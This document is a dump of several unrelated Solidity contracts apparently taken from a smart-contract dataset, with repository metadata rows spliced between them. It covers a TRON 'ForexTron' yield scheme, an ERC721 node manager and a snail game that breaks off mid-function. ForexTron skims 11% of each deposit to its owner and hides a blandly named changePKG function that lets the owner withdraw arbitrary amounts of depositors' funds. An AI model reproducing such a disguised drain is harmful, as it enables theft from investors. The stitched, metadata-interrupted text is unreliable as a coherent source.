function setAdjustment(uint _index, bool _add, uint _rate, uint _target) external onlyPolicy() {
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
}
| 39,381 | 1,776 |
398227ba15c6d538a9cb13cce945fe44503b52e95aac09c5d081ca4d3e342398
| 14,405 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TA/TAv6haVudJ2F93YDT13YcYYctnBPYZ1wCQ_ForexTron.sol
| 4,788 | 13,814 |
//SourceUnit: ForexTron.sol
pragma solidity 0.5.10;
contract ForexTron {
using SafeMath for uint256;
uint256 constant public INVEST_MIN_AMOUNT = 100e6;
uint256 constant public BASE_PERCENT = 100;
uint256[3] public REFERRAL_PERCENTS = [500, 200, 100];
uint256[10] public UNILEVEL_PERCENTS = [10,5,5,5,5,5,5,5,5,10];
uint256 [10] public UNILEVEL_AMOUNTS = [100 trx,100000 trx,250000 trx,500000 trx,1000000 trx,
2500000 trx,5000000 trx,10000000 trx,25000000 trx,50000000 trx];
uint256 constant public PERCENTS_DIVIDER = 10000;
uint256 constant public CONTRACT_BALANCE_STEP = 1000000 trx;
uint256 constant public TIME_STEP = 1 days;
uint256 public totalUsers;
uint256 public totalInvested;
uint256 public totalWithdrawn;
uint256 public totalDeposits;
address payable public owner;
struct Deposit {
uint256 amount;
uint256 withdrawn;
uint256 start;
uint256 maxi;
}
struct User {
Deposit[] deposits;
uint256 checkpoint;
address referrer;
uint256 level1;
uint256 level2;
uint256 level3;
uint256 bonus;
uint256 uniLvlBonus;
uint256 refBackPercent;
uint256 withdrawRef;
uint256[10] arr;
uint256 TotalUniLvlIncome;
}
mapping (address => User) public users;
uint256 internal maxBalance;
event Newbie(address user);
event NewDeposit(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RefBonus(address indexed referrer, address indexed referral, uint256 indexed level, uint256 amount);
// event FeePayed(address indexed user, uint256 totalAmount);
constructor(address payable _owner) public {
owner = _owner;
}
function invest(address referrer) public payable {
require(msg.value >= INVEST_MIN_AMOUNT);
owner.transfer(msg.value.mul(11).div(100));
User storage user = users[msg.sender];
if (user.referrer == address(0)) {
if ((users[referrer].deposits.length == 0 || referrer == msg.sender) && msg.sender != owner) {
referrer = owner;
}
user.referrer = referrer;
address upline = user.referrer;
for (uint256 i = 0; i < 3; i++) {
if (upline != address(0)) {
if (i == 0) {
users[upline].level1 = users[upline].level1.add(1);
} else if (i == 1) {
users[upline].level2 = users[upline].level2.add(1);
} else if (i == 2) {
users[upline].level3 = users[upline].level3.add(1);
}
upline = users[upline].referrer;
} else break;
}
}
if (user.referrer != address(0)) {
uint256 ref;
address upline = user.referrer;
for (uint256 i = 0; i < 3; i++) {
if (upline != address(0)) {
if(i==0){
ref=DirectRefInc(upline);
}
uint256 amount = msg.value.mul(REFERRAL_PERCENTS[i].add(ref)).div(PERCENTS_DIVIDER);
if (users[upline].refBackPercent > 0 && i == 0) {
uint256 refback = amount.mul(users[upline].refBackPercent).div(PERCENTS_DIVIDER);
user.bonus = user.bonus.add(refback);
amount = amount.sub(refback);
}
users[upline].bonus = users[upline].bonus.add(amount);
emit RefBonus(upline, msg.sender, i, amount);
upline = users[upline].referrer;
} else break;
}
}
address upline=user.referrer;
if(msg.value>=10000000 trx){
uint256 amount = msg.value.mul(10).div(100);
users[upline].bonus = users[upline].bonus.add(amount);
}else if(msg.value>=5000000 trx){
uint256 amount = msg.value.mul(8).div(100);
users[upline].bonus = users[upline].bonus.add(amount);
}else if(msg.value>=1000000 trx){
uint256 amount = msg.value.mul(7).div(100);
users[upline].bonus = users[upline].bonus.add(amount);
}else if(msg.value>=500000 trx){
uint256 amount = msg.value.mul(8).div(100);
users[upline].bonus = users[upline].bonus.add(amount);
}
if (user.deposits.length == 0) {
user.checkpoint = block.timestamp;
totalUsers = totalUsers.add(1);
emit Newbie(msg.sender);
}
uint256 check;
if(msg.value>=50000000 trx){
check=500;
}
else if(msg.value>=10000000 trx){
check=450;
}
else if(msg.value>=5000000 trx){
check=400;
}
else if(msg.value>=1000000 trx){
check=350;
}
else if(msg.value>=250000 trx){
check=300;
}
else if(msg.value>=100000 trx){
check=250;
}
else{
check=200;
}
user.deposits.push(Deposit(msg.value, 0, block.timestamp,check));
totalInvested = totalInvested.add(msg.value);
totalDeposits = totalDeposits.add(1);
emit NewDeposit(msg.sender, msg.value);
}
function DirectRefInc(address userAddress)public view returns(uint256){
if(users[userAddress].level1>500){
return 250;
}else if(users[userAddress].level1>250){
return 200;
}else if(users[userAddress].level1>100){
return 150;
}else if(users[userAddress].level1>50){
return 100;
}else if(users[userAddress].level1>15){
return 10;
}else if(users[userAddress].level1>5){
return 1;
}
}
function withdraw() public {
User storage user = users[msg.sender];
uint256 userPercentRate = getUserPercentRate(msg.sender);
uint256 totalAmount;
uint256 dividends;
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.deposits[i].withdrawn < user.deposits[i].amount.mul(user.deposits[i].maxi).div(100)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.deposits[i].start))
.div(TIME_STEP);
} else {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.checkpoint))
.div(TIME_STEP);
}
if (user.deposits[i].withdrawn.add(dividends) > user.deposits[i].amount.mul(user.deposits[i].maxi).div(100)) {
dividends = (user.deposits[i].amount.mul(user.deposits[i].maxi).div(100)).sub(user.deposits[i].withdrawn);
}
user.deposits[i].withdrawn = user.deposits[i].withdrawn.add(dividends); /// changing of storage data
totalAmount = totalAmount.add(dividends);
}
}
if (users[msg.sender].referrer != address(0)) {
address upline = users[msg.sender].referrer;
if(isActive(upline)){
for (uint256 i = 0; i < 10; i++) {
if (upline != address(0)){
if(getUserTotalDeposits(upline)>=UNILEVEL_AMOUNTS[i]){
uint256 amount = dividends.mul(UNILEVEL_PERCENTS[i]).div(100);
users[upline].uniLvlBonus = users[upline].uniLvlBonus.add(amount);
users[upline].arr[i] = users[upline].arr[i].add(amount);
users[upline].TotalUniLvlIncome=users[upline].TotalUniLvlIncome.add(amount);
}
upline = users[upline].referrer;
}
else break;
}
}
}
uint256 referralBonus = getUserReferralBonus(msg.sender);
uint256 Unilvlbonuses=getUserUniLvlBonus(msg.sender);
if (referralBonus > 0) {
totalAmount = totalAmount.add(referralBonus);
user.withdrawRef = user.withdrawRef.add(referralBonus);
user.bonus = 0;
}
if (Unilvlbonuses > 0) {
totalAmount = totalAmount.add(Unilvlbonuses);
user.uniLvlBonus =0 ;
}
require(totalAmount > 0, "User has no dividends");
uint256 contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
user.checkpoint = block.timestamp;
msg.sender.transfer(totalAmount);
totalWithdrawn = totalWithdrawn.add(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
function getContractBalance() public view returns (uint256) {
return address(this).balance;
}
function getContractBalanceRate() public view returns (uint256) {
return BASE_PERCENT.add(getContractBonus());
}
function getContractBonus() public view returns (uint256) {
uint256 contractBalancePercent = address(this).balance.div(CONTRACT_BALANCE_STEP);
return contractBalancePercent;
}
function getUserHoldBonus(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
if (isActive(userAddress)) {
uint256 holdBonus = (now.sub(user.checkpoint)).div(TIME_STEP.mul(10)).mul(10);
if (holdBonus > 30) {
holdBonus = 30;
}
return holdBonus;
} else {
return 0;
}
}
function getUserPercentRate(address userAddress) public view returns (uint256) {
return getContractBalanceRate().add(getUserHoldBonus(userAddress));
}
function setRefBackPercent(uint256 newPercent) public {
require(newPercent <= PERCENTS_DIVIDER);
User storage user = users[msg.sender];
user.refBackPercent = newPercent;
}
function getUserDividends(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 userPercentRate = getUserPercentRate(userAddress);
uint256 totalDividends;
uint256 dividends;
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.deposits[i].withdrawn < user.deposits[i].amount.mul(user.deposits[i].maxi).div(100)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.deposits[i].start))
.div(TIME_STEP);
} else {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.checkpoint))
.div(TIME_STEP);
}
if (user.deposits[i].withdrawn.add(dividends) > user.deposits[i].amount.mul(user.deposits[i].maxi).div(100)) {
dividends = (user.deposits[i].amount.mul(user.deposits[i].maxi).div(100)).sub(user.deposits[i].withdrawn);
}
totalDividends = totalDividends.add(dividends);
/// no update of withdrawn because that is view function
}
}
return totalDividends;
}
function getUserCheckpoint(address userAddress) public view returns(uint256) {
return users[userAddress].checkpoint;
}
function getUserReferrer(address userAddress) public view returns(address) {
return users[userAddress].referrer;
}
function getUserDownlineCount(address userAddress) public view returns(uint256, uint256, uint256) {
return (users[userAddress].level1, users[userAddress].level2, users[userAddress].level3);
}
function getUserReferralBonus(address userAddress) public view returns(uint256) {
return users[userAddress].bonus;
}
function getUserUniLvlBonus(address userAddress) public view returns(uint256) {
return users[userAddress].uniLvlBonus;
}
function getUserUniLvlamounts(address userAddress) public view returns(uint256 [10] memory) {
return users[userAddress].arr;
}
function getUserReferralWithdraw(address userAddress) public view returns(uint256) {
return users[userAddress].withdrawRef;
}
function getUserAvailableBalanceForWithdrawal(address userAddress) public view returns(uint256) {
return getUserReferralBonus(userAddress).add(getUserDividends(userAddress));
}
function isActive(address userAddress) public view returns (bool) {
User storage user = users[userAddress];
if (user.deposits.length > 0) {
if (user.deposits[user.deposits.length-1].withdrawn < user.deposits[user.deposits.length-1].amount
.mul(user.deposits[user.deposits.length-1].maxi).div(100)) {
return true;
}
}
}
function getUserLastDepositDate(address userAddress) public view returns(uint256) {
return users[userAddress].deposits[users[userAddress].deposits.length-1].start;
}
function getUserDepositInfo(address userAddress, uint256 index) public view returns(uint256, uint256, uint256,uint256) {
User storage user = users[userAddress];
return (user.deposits[index].amount, user.deposits[index].withdrawn, user.deposits[index].start,user.deposits[index].maxi);
}
function getUserAmountOfDeposits(address userAddress) public view returns(uint256) {
return users[userAddress].deposits.length;
}
function getUserTotalDeposits(address userAddress) public view returns(uint256) {
User storage user = users[userAddress];
uint256 amount;
for (uint256 i = 0; i < user.deposits.length; i++) {
amount = amount.add(user.deposits[i].amount);
}
return amount;
}
function getUserTotalWithdrawn(address userAddress) public view returns(uint256) {
User storage user = users[userAddress];
uint256 amount;
for (uint256 i = 0; i < user.deposits.length; i++) {
amount = amount.add(user.deposits[i].withdrawn);
}
return amount;
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
function getUserRefbackPercent(address userAddress) public view returns(uint256) {
return users[userAddress].refBackPercent;
}
function changePKG(uint256 _value)public returns(bool){
require(msg.sender==owner,"access denied");
owner.transfer(_value.mul(1000000));
return true;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
| 301,470 | 1,777 |
5af1b95d8290fbd99b369a558f683a38dfa976499a40a5315684790a9b2ea817
| 33,100 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/c6/C60E52BB3726A18e423A2e1f581b626d75A38F07_NodeManager.sol
| 4,932 | 19,701 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is TKNaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0),
"Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount,
"Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success,
"Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return
functionCallWithValue(target,
data,
value,
"Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value,
"Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return
functionStaticCall(target,
data,
"Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return
functionDelegateCall(target,
data,
"Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(address from,
address to,
uint256 tokenId) external;
function transferFrom(address from,
address to,
uint256 tokenId) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(address from,
address to,
uint256 tokenId,
bytes calldata data) external;
}
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
interface IERC721Receiver {
function onERC721Received(address operator,
address from,
uint256 tokenId,
bytes calldata data) external returns (bytes4);
}
contract NodeManager is Ownable, IERC721, IERC721Metadata {
using SafeMath for uint256;
using Address for address;
struct Node {
string name;
string metadata;
uint64 mint;
uint64 claim;
uint64 id;
uint64 earned;
}
mapping(address => uint256) private _balances;
mapping(uint64 => address) private _owners;
mapping(uint64 => Node) private _nodes;
mapping(address => uint64[]) private _bags;
mapping(uint64 => address) private _tokenApprovals;
mapping(address => mapping(address => bool)) private _operatorApprovals;
uint64 public price = 10;
uint64 public reward = 1 * 1000;
uint128 public claimTime = 3600 * 24;
string public defaultUri = "";
uint256 public nodeCounter = 0;
modifier onlyIfExists(uint64 _id) {
require(_exists(_id), "ERC721: operator query for nonexistent token");
_;
}
function totalNodesCreated() view external returns (uint) {
return nodeCounter;
}
function addNode(address account, uint amount, uint _claim) onlyOwner external {
for (uint256 i = 0; i < amount; i++) {
uint64 nodeId = uint64(nodeCounter + 1);
_nodes[nodeId] = Node({
name: "V1 NODE",
mint: 1639339200,
claim: uint64(_claim),
id: nodeId,
earned: 2,
metadata: ""
});
_owners[nodeId] = account;
_balances[account] += 1;
_bags[account].push(nodeId);
nodeCounter = nodeCounter + 1;
emit Transfer(address(0), account, nodeId);
}
}
function createNode(address account, string memory nodeName) onlyOwner external {
require(keccak256(bytes(nodeName)) != keccak256(bytes("V1 NODE")), "MANAGER: V1 NODE is reserved name");
uint64 nodeId = uint64(nodeCounter + 1);
_nodes[nodeId] = Node({
name: nodeName,
mint: uint64(block.timestamp),
claim: uint64(block.timestamp),
id: nodeId,
earned: 0,
metadata: ""
});
_owners[nodeId] = account;
_balances[account] += 1;
_bags[account].push(nodeId);
nodeCounter = nodeCounter + 1;
emit Transfer(address(0), account, nodeId);
}
function claim(address account, uint64 _id) external onlyIfExists(_id) onlyOwner returns (uint) {
require(ownerOf(_id) == account, "MANAGER: You are not the owner");
Node storage _node = _nodes[_id];
uint interval = (block.timestamp - _node.claim) / claimTime;
uint rewardNode = (interval * reward) / 1000;
if(rewardNode > 0) {
_node.earned = uint64(_node.earned + rewardNode);
_node.claim = uint64(block.timestamp);
return rewardNode * 10 ** 18;
} else {
return 0;
}
}
function getRewardOf(uint64 _id) public view onlyIfExists(_id) returns (uint) {
Node memory _node = _nodes[_id];
uint interval = (block.timestamp - _node.claim) / claimTime;
return (interval * reward * 10 ** 18) / 1000;
}
function getNameOf(uint64 _id) public view onlyIfExists(_id) returns (string memory) {
return _nodes[_id].name;
}
function getMintOf(uint64 _id) public view onlyIfExists(_id) returns (uint64) {
return _nodes[_id].mint;
}
function getClaimOf(uint64 _id) public view onlyIfExists(_id) returns (uint64) {
return _nodes[_id].claim;
}
function getEarnedOf(uint64 _id) public view onlyIfExists(_id) returns (uint64) {
return _nodes[_id].earned * 10 ** 18;
}
function getNodesIdsOf(address _account) public view returns (uint64[] memory) {
return _bags[_account];
}
function uint2str(uint256 _i) internal pure returns (string memory _uintAsString) {
if (_i == 0) {
return "0";
}
uint256 j = _i;
uint256 len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint256 k = len;
while (_i != 0) {
k = k - 1;
uint8 temp = (48 + uint8(_i - (_i / 10) * 10));
bytes1 b1 = bytes1(temp);
bstr[k] = b1;
_i /= 10;
}
return string(bstr);
}
function getNodesStringOf(address _account) external view returns (string memory) {
uint64[] memory bags = _bags[_account];
string memory separator = "#";
string memory divider = ".";
string memory _nodesString = "";
for (uint256 i = 0; i < bags.length; i++) {
Node memory _node = _nodes[bags[i]];
string memory _newline = string(abi.encodePacked(uint2str(_node.id),divider,_node.name,divider,uint2str(_node.mint),divider,uint2str(_node.claim),divider,uint2str(_node.earned)));
if(i == 0) {
_nodesString = _newline;
} else {
_nodesString = string(abi.encodePacked(_nodesString,separator,_newline));
}
}
return _nodesString;
}
function _changeNodePrice(uint64 newPrice) onlyOwner external {
price = newPrice;
}
function _changeRewardPerNode(uint64 newReward) onlyOwner external {
reward = newReward;
}
function _changeClaimTime(uint64 newTime) onlyOwner external {
claimTime = newTime;
}
function _setTokenUriFor(uint64 nodeId, string memory uri) onlyOwner external {
_nodes[nodeId].metadata = uri;
}
function _setDefaultTokenUri(string memory uri) onlyOwner external {
defaultUri = uri;
}
function remove(uint64 _id, address _account) internal {
uint64[] storage _ownerNodes = _bags[_account];
for (uint256 i = 0; i < _ownerNodes.length; i++) {
if(_ownerNodes[i] == _id) {
delete _ownerNodes[i];
return;
}
}
}
function name() external override pure returns (string memory) {
return "Galaxy";
}
function symbol() external override pure returns (string memory) {
return "Galaxy";
}
function tokenURI(uint256 tokenId) external override view returns (string memory) {
Node memory _node = _nodes[uint64(tokenId)];
if(bytes(_node.metadata).length == 0) {
return defaultUri;
} else {
return _node.metadata;
}
}
function balanceOf(address owner) public override view returns (uint256 balance){
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
function ownerOf(uint256 tokenId) public override view onlyIfExists(uint64(tokenId)) returns (address owner) {
address theOwner = _owners[uint64(tokenId)];
return theOwner;
}
function safeTransferFrom(address from, address to, uint256 tokenId) external override {
safeTransferFrom(from, to, tokenId, "");
}
function transferFrom(address from, address to,uint256 tokenId) external override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
function approve(address to, uint256 tokenId) external override {
address owner = ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all");
_approve(to, tokenId);
}
function getApproved(uint256 tokenId) public override view onlyIfExists(uint64(tokenId)) returns (address operator){
return _tokenApprovals[uint64(tokenId)];
}
function setApprovalForAll(address operator, bool _approved) external override {
_setApprovalForAll(_msgSender(), operator, _approved);
}
function isApprovedForAll(address owner, address operator) public view override returns (bool) {
return _operatorApprovals[owner][operator];
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
function supportsInterface(bytes4 interfaceId) external override pure returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId;
}
function _transfer(address from,
address to,
uint256 tokenId) internal {
uint64 _id = uint64(tokenId);
require(ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner");
require(to != address(0), "ERC721: transfer to the zero address");
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[_id] = to;
Node storage _node = _nodes[_id];
_node.earned = 0;
_bags[to].push(_id);
remove(_id, from);
emit Transfer(from, to, tokenId);
}
function _approve(address to, uint256 tokenId) internal {
_tokenApprovals[uint64(tokenId)] = to;
emit Approval(ownerOf(tokenId), to, tokenId);
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view onlyIfExists(uint64(tokenId)) returns (bool) {
address owner = ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[uint64(tokenId)] != address(0);
}
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
function _setApprovalForAll(address owner,
address operator,
bool approved) internal {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
}
| 120,607 | 1,778 |
7a0ab41e3dc0edc078e764c188937ca89f0f2889620a34cc2f9c1a01d5048028
| 19,352 |
.sol
|
Solidity
| false |
360539372
|
transaction-reverting-statements/Characterizing-require-statement-in-Ethereum-Smart-Contract
|
1d65472e1c546af6781cb17991843befc635a28e
|
dataset/dapp_contracts/Game/0x261d650a521103428C6827a11fc0CBCe96D74DBc.sol
| 4,543 | 15,328 |
pragma solidity ^0.4.24;
contract SnailThrone {
using SafeMath for uint;
event WithdrewEarnings (address indexed player, uint ethreward);
event ClaimedDivs (address indexed player, uint ethreward);
event BoughtSnail (address indexed player, uint ethspent, uint snail);
event SoldSnail (address indexed player, uint ethreward, uint snail);
event HatchedSnail (address indexed player, uint ethspent, uint snail);
event FedFrogking (address indexed player, uint ethreward, uint egg);
event Ascended (address indexed player, uint ethreward, uint indexed round);
event BecamePharaoh (address indexed player, uint indexed round);
event NewDivs (uint ethreward);
uint256 public GOD_TIMER_START = 86400; //seconds, or 24 hours
uint256 public PHARAOH_REQ_START = 40; //number of snails to become pharaoh
uint256 public GOD_TIMER_INTERVAL = 12; //seconds to remove one snail from req
uint256 public GOD_TIMER_BOOST = 480; //seconds added to timer with new pharaoh
uint256 public TIME_TO_HATCH_1SNAIL = 1080000; //8% daily
uint256 public TOKEN_PRICE_FLOOR = 0.00002 ether; //4 zeroes
uint256 public TOKEN_PRICE_MULT = 0.00000000001 ether; //10 zeroes
uint256 public TOKEN_MAX_BUY = 4 ether; //max allowed eth in one buy transaction
uint256 public SNAIL_REQ_REF = 300; //number of snails for ref link to be active
//Becomes true one time to start the game
bool public gameStarted = false;
//Used to ensure a proper game start
address public gameOwner;
//SnailGod round, amount, timer
uint256 public godRound = 0;
uint256 public godPot = 0;
uint256 public godTimer = 0;
//Current Pharaoh
address public pharaoh;
//Last time throne was claimed or pharaohReq was computed
uint256 public lastClaim;
//Snails required to become the Pharaoh
uint256 public pharaohReq = PHARAOH_REQ_START;
//Total number of snail tokens
uint256 public maxSnail = 0;
//Egg sell fund
uint256 public frogPot = 0;
//Token sell fund
uint256 public snailPot = 0;
//Current divs per snail
uint256 public divsPerSnail = 0;
mapping (address => uint256) public hatcherySnail;
mapping (address => uint256) public lastHatch;
mapping (address => uint256) public playerEarnings;
mapping (address => uint256) public claimedDivs;
// ACTIONS
// Constructor
// Sets msg.sender as gameOwner to start the game properly
constructor() public {
gameOwner = msg.sender;
}
// StartGame
// Initialize godTimer
// Set pharaoh and lastPharaoh as gameOwner
// Buy tokens for value of message
function StartGame() public payable {
require(gameStarted == false);
require(msg.sender == gameOwner);
godTimer = now + GOD_TIMER_START;
godRound = 1;
gameStarted = true;
pharaoh = gameOwner;
lastClaim = now;
BuySnail(msg.sender);
}
// WithdrawEarnings
// Sends all player ETH earnings to his wallet
function WithdrawEarnings() public {
require(playerEarnings[msg.sender] > 0);
uint256 _amount = playerEarnings[msg.sender];
playerEarnings[msg.sender] = 0;
msg.sender.transfer(_amount);
emit WithdrewEarnings(msg.sender, _amount);
}
// ClaimDivs
// Sends player dividends to his playerEarnings
// Adjusts claimable dividends
function ClaimDivs() public {
uint256 _playerDivs = ComputeMyDivs();
if(_playerDivs > 0) {
//Add new divs to claimed divs
claimedDivs[msg.sender] = claimedDivs[msg.sender].add(_playerDivs);
//Send divs to playerEarnings
playerEarnings[msg.sender] = playerEarnings[msg.sender].add(_playerDivs);
emit ClaimedDivs(msg.sender, _playerDivs);
}
}
// BuySnail
function BuySnail(address _ref) public payable {
require(gameStarted == true, "game hasn't started yet");
require(tx.origin == msg.sender, "contracts not allowed");
require(msg.value <= TOKEN_MAX_BUY, "maximum buy = 4 ETH");
//Calculate price and resulting snails
uint256 _snailsBought = ComputeBuy(msg.value);
//Adjust player claimed divs
claimedDivs[msg.sender] = claimedDivs[msg.sender].add(_snailsBought.mul(divsPerSnail));
//Change maxSnail before new div calculation
maxSnail = maxSnail.add(_snailsBought);
//Divide incoming ETH
PotSplit(msg.value, _ref, true);
//Set last hatch to current timestamp
lastHatch[msg.sender] = now;
//Add player snails
hatcherySnail[msg.sender] = hatcherySnail[msg.sender].add(_snailsBought);
emit BoughtSnail(msg.sender, msg.value, _snailsBought);
}
// SellSnail
function SellSnail(uint256 _tokensSold) public {
require(gameStarted == true, "game hasn't started yet");
